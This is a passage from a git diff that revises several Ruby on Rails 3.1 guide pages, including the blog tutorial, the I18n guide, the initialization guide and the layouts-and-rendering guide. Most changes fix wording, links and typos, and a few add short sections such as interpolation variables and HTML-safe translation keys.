action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -1310,9 +1311,9 @@ end </ruby> You'll see a bit more complexity here than you did in the controller for posts. -That's a side-effect of the nesting that you've set up; each request for a +That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the post to which the comment is attached, thus the -initial find action to the Post model to get the post in question. +initial call to the +find+ method of the +Post+ model to get the post in question. In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save @@ -1382,9 +1383,9 @@ right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the -+app/views/posts/show.html.erb+ template, it's getting long and awkward. We can -use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections @@ -1404,7 +1405,7 @@ following into it: </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the +Then you can change +app/views/posts/show.html.erb+ to look like the following: <erb> @@ -1457,8 +1458,8 @@ comment to a local variable named the same as the partial, in this case h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you -create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1509,7 +1510,7 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: </erb> The second render just defines the partial template we want to render, -<tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. @@ -1518,7 +1519,7 @@ defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do +Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. @@ -1608,7 +1609,7 @@ action, except for +index+ and +show+, so we write that: <ruby> class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] # GET /posts # GET /posts.json @@ -1636,7 +1637,6 @@ Authentication challenge !images/challenge.png(Basic HTTP Authentication Challenge)! - h3. Building a Multi-Model Form Another feature of your average blog is the ability to tag posts. To implement @@ -1724,8 +1724,8 @@ This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make -sure there is a new tag ready to have it's name filled in by the user. If you do +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. @@ -1890,24 +1890,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 0c8e4e974d..2d4cc13571 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -1,4 +1,4 @@ -lh2. Rails Internationalization (I18n) API +h2. Rails Internationalization (I18n) API The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -796,7 +831,6 @@ h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. - h3. Customize your I18n Setup h4. Using Different Backends diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index b48488d8a2..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> @@ -124,13 +123,17 @@ Ruby on Rails Guides <p>This guide covers the basic configuration settings for a Rails application.</p> <% end %> -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %> +<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> <p>This guide covers the command line tools and rake tasks provided by Rails.</p> <% end %> <%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> <p>Various caching techniques provided by Rails.</p> <% end %> + +<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> + <p>This guide documents the asset pipeline.</p> +<% end %> </dl> <h3>Extending Rails</h3> @@ -170,6 +173,10 @@ Ruby on Rails Guides <h3>Release Notes</h3> <dl> +<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> + <p>Release notes for Rails 3.1.</p> +<% end %> + <%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> <p>Release notes for Rails 3.0.</p> <% end %> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 477ee5a3a2..036b356a37 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -1,13 +1,13 @@ h2. The Rails Initialization Process -This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. * Using +rails server+ * Using Passenger endprologue. -This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. +This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -33,7 +33,7 @@ end This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. -h4. +railites/lib/rails/cli.rb+ +h4. +railties/lib/rails/cli.rb+ This file looks like this: @@ -71,7 +71,7 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: @@ -190,7 +190,8 @@ aliases = { "g" => "generate", "c" => "console", "s" => "server", - "db" => "dbconsole" + "db" => "dbconsole", + "r" => "runner" } command = ARGV.shift @@ -242,7 +243,7 @@ In this file there are a lot of lines such as this inside the +ActiveSupport+ mo autoload :Inflector </ruby> -Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. +Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport. @@ -348,10 +349,10 @@ The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ def parse!(args) args, options = args.dup, {} - opt_parser = OptionParser.new do |opts| - opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opt_parser = OptionParser.new do |opts| + opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... </ruby> @@ -449,11 +450,11 @@ run YourApp::Application The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> require ::File.expand_path('../config/environment', __FILE__) @@ -524,19 +525,19 @@ silence_warnings do end </ruby> -These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. +These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. h4. +active_support/core_ext/logger.rb+ The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object. -For more information see the "Extensions to Logger":http://guides.rubyonrails.org/active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. +For more information see the "Extensions to Logger":active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. h4. +railties/lib/rails/application.rb+ The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first. -The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#merging under the "Merging" section. +The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":active_support_core_extensions.html#merging under the "Merging" section. h4. +active_support/file_update_checker.rb+ @@ -574,7 +575,7 @@ Now that +rails/initializable.rb+ has finished being required from +rails/railti h4. +railties/lib/rails/configuration.rb+ -This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":http://guides.rubyonrails.org/configuring.html#configuring-generators. +This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":configuring.html#configuring-generators. The first file required in this file is +activesupport/deprecation+. @@ -597,11 +598,11 @@ This file defines the +ActiveSupport::Notifications+ module. Notifications provi The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines. -The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. h4. +activesupport/core_ext/array/wrap+ -As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#wrapping +As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":active_support_core_extensions.html#wrapping h4. +activesupport/lib/active_support/deprecation/reporting.rb+ @@ -623,7 +624,7 @@ h4. +active_support/ordered_options+ This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like. -The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#deep_dup +The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":active_support_core_extensions.html#deep_dup The file that is required next from is +rails/paths+ @@ -681,7 +682,7 @@ When the module from this file (+Rails::Initializable+) is included, it extends h4. +railties/lib/rails/engine.rb+ -The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+. @@ -697,7 +698,7 @@ Once this file has finished loading we jump back to +railties/lib/rails/plugin.r h4. Back to +railties/lib/rails/plugin.rb+ -The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":http://guides.rubyonrails.org/active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. +The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. Once that file has finished loading, the +Rails::Plugin+ class is defined. @@ -760,7 +761,6 @@ def subclasses end </ruby> - The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this: <ruby> @@ -817,7 +817,7 @@ def initializer(name, opts = {}, &blk) end </ruby> -An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer]. +An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":configuring.html#rails-railtie-initializer. The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables: @@ -847,7 +847,7 @@ The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +A The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this: -<rub> +<ruby> def initializers_chain initializers = Collection.new ancestors.reverse_each do | klass | diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 5dcac8e74c..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -5,7 +5,7 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" /> @@ -71,6 +71,7 @@ <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> <dt>Extending Rails</dt> <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> @@ -83,13 +84,14 @@ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> <dt>Release Notes</dt> + <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -127,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index 57485e8986..df7b9b364c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -90,7 +90,7 @@ If we want to display the properties of all the books in our view, we can do so <%= link_to 'New book', new_book_path %> </ruby> -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). h4. Using +render+ @@ -334,7 +334,7 @@ render :status => 500 render :status => :forbidden </ruby> -Rails understands both numeric status codes and symbols for status codes. +Rails understands both numeric and symbolic status codes. h6. The +:location+ Option @@ -348,9 +348,9 @@ h5. Finding Layouts To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts on a per-Controller Basis +h6. Specifying Layouts for Controllers -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: +You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: <ruby> class ProductsController < ApplicationController @@ -359,9 +359,9 @@ class ProductsController < ApplicationController end </ruby> -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. +With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: <ruby> class ApplicationController < ActionController::Base @@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base end </ruby> -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. h6. Choosing Layouts at Runtime @@ -392,9 +392,9 @@ class ProductsController < ApplicationController end </ruby> -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: +Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: <ruby> class ProductsController < ApplicationController @@ -404,7 +404,7 @@ end h6. Conditional Layouts -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller: +Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: <ruby> class ProductsController < ApplicationController @@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the h6. Layout Inheritance -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: * +application_controller.rb+ @@ -495,9 +495,9 @@ def show end </ruby> -Make sure you use +and return+ and not +&& return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language. +Make sure to use +and return+ and not +&& return+, since +&& return+ will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors: +Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: <ruby> def show @@ -515,10 +515,10 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: <ruby> redirect_to :back @@ -526,7 +526,7 @@ redirect_to :back h5. Getting a Different Redirect Status Code -Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: <ruby> redirect_to photos_path, :status => 301 @@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts h5. The Difference Between +render+ and +redirect_to+ -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: @@ -553,7 +553,7 @@ def show end </ruby> -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be 